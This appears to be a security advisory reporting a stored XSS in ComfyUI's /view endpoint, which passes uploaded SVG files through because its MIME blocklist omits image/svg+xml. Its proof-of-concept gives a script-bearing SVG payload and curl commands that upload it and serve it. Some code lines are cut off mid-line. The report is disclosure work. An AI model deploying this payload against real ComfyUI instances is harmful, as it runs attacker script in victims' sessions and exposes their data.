YLChen-007 / **ISSUE-Github-REPORT-SVG-XSS-View.md** Secret

Created last month

Code Revisions 1

Stored XSS via SVG file upload on /view endpoint — incomplete MIME type blocklist bypass

ISSUE-Github-REPORT-SVG-XSS-View.md

Advisory Details

Title: Stored XSS via SVG file upload on `/view` endpoint — incomplete MIME type blocklist bypass

Description:

Summary

The `/view` endpoint in `server.py` attempts to prevent XSS by blocking dangerous MIME types (`text/html`, `text/javascript`, etc.) and forcing them to `application/octet-stream`. However, the blocklist is incomplete — it does not include `image/svg+xml`. SVG files support embedded `<script>` tags per the W3C specification, so when a malicious SVG is uploaded and accessed via `/view`, the browser renders it and executes the embedded JavaScript in the context of the ComfyUI origin.

This is a bypass of the existing XSS fix applied in commits `59d58b11` (#6034) and `4f4f1c64` (#8384).

Details

The `/view` endpoint in `server.py` (line 565-576) applies a MIME type blocklist before serving files:

```
# server.py, line 565-570
content_type = mimetypes.guess_type(filename)[0] or 'application/octet-stream

# For security, force certain mimetypes to download instead of display
```

```
if content_type in {'text/html', 'text/html-sandboxed', 'application/xhtml+xm
    content_type = 'application/octet-stream'  # Forces download
```

The blocklist correctly blocks `text/html` and `text/javascript`, but **does not include `image/svg+xml`**. SVG is an XML-based format that natively supports JavaScript execution via `<script>` tags and event handlers like `onload`. When served with `Content-Type: image/svg+xml`, browsers parse and execute any embedded scripts.

The `/upload/image` endpoint (line 378-424) accepts any file without extension validation, so `.svg` files can be uploaded directly to the `input/` directory, which is one of the directories served by `/view`.

Additionally, the `Content-Disposition` header is set to `filename="evil.svg"` without the `attachment` directive, which means the browser renders the file inline rather than prompting a download.

PoC

Prerequisites: A running ComfyUI instance.

1. Create a malicious SVG file:

```
cat > /tmp/evil.svg <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
  <rect width="400" height="200" fill="#e91e63" rx="10"/>
  <text x="200" y="90" text-anchor="middle" fill="white" font-size="22">SVG X
  <script type="text/javascript">alert('XSS: ' + document.domain)</script>
</svg>
EOF
```

2. Upload to ComfyUI via the image upload endpoint:

```
curl -X POST "http://127.0.0.1:8188/upload/image" \
  -F "image=@/tmp/evil.svg;type=image/svg+xml" \
  -F "type=input" -F "overwrite=true"
```

Expected response:

```
{"name": "evil.svg", "subfolder": "", "type": "input"}
```

3. Verify the Content-Type is not blocked:

```
curl -D - "http://127.0.0.1:8188/view?filename=evil.svg&type=input" 2>&1 | he
```

Expected output (note `Content-Type: image/svg+xml` — NOT blocked):

```
HTTP/1.1 200 OK
Content-Disposition: filename="evil.svg"
Content-Type: image/svg+xml
```

4. Open the URL in a browser:

```
http://127.0.0.1:8188/view?filename=evil.svg&type=input
```

An `alert()` dialog pops up showing `XSS: 127.0.0.1`, confirming JavaScript execution in the ComfyUI origin.

Impact

This is a **Stored Cross-Site Scripting (XSS)** vulnerability that bypasses the existing XSS mitigation. Since the SVG file persists on disk, any user who visits the URL will have JavaScript executed in the context of the ComfyUI application. An attacker can:

- **Steal session data**: Access `localStorage` containing workflows, settings, and user preferences.
- **Execute arbitrary API calls**: Queue malicious workflows, modify settings, or delete data on behalf of the victim.
- **Exfiltrate data**: Send stolen workflows and generated images to an external server.

The attack is particularly dangerous because SVG files appear to be harmless image files, making social engineering (e.g., sharing a "preview image" link) highly effective.

Affected products

- **Ecosystem**: pip
- **Package name**: comfyui
- **Affected versions**: <= v0.13.0 (latest at time of report, commit `88e63705`)
- **Patched versions**: None

Severity

- **Severity**: High

- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Weaknesses

- **CWE**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Occurrences

Permalink
https://github.com/comfyanonymous/ComfyUI/blob/88e6370527dbd602851de07d957a8f1L576
https://github.com/comfyanonymous/ComfyUI/blob/88e6370527dbd602851de07d957a8f1L424
https://github.com/comfyanonymous/ComfyUI/blob/88e6370527dbd602851de07d957a8f1L428

Permalink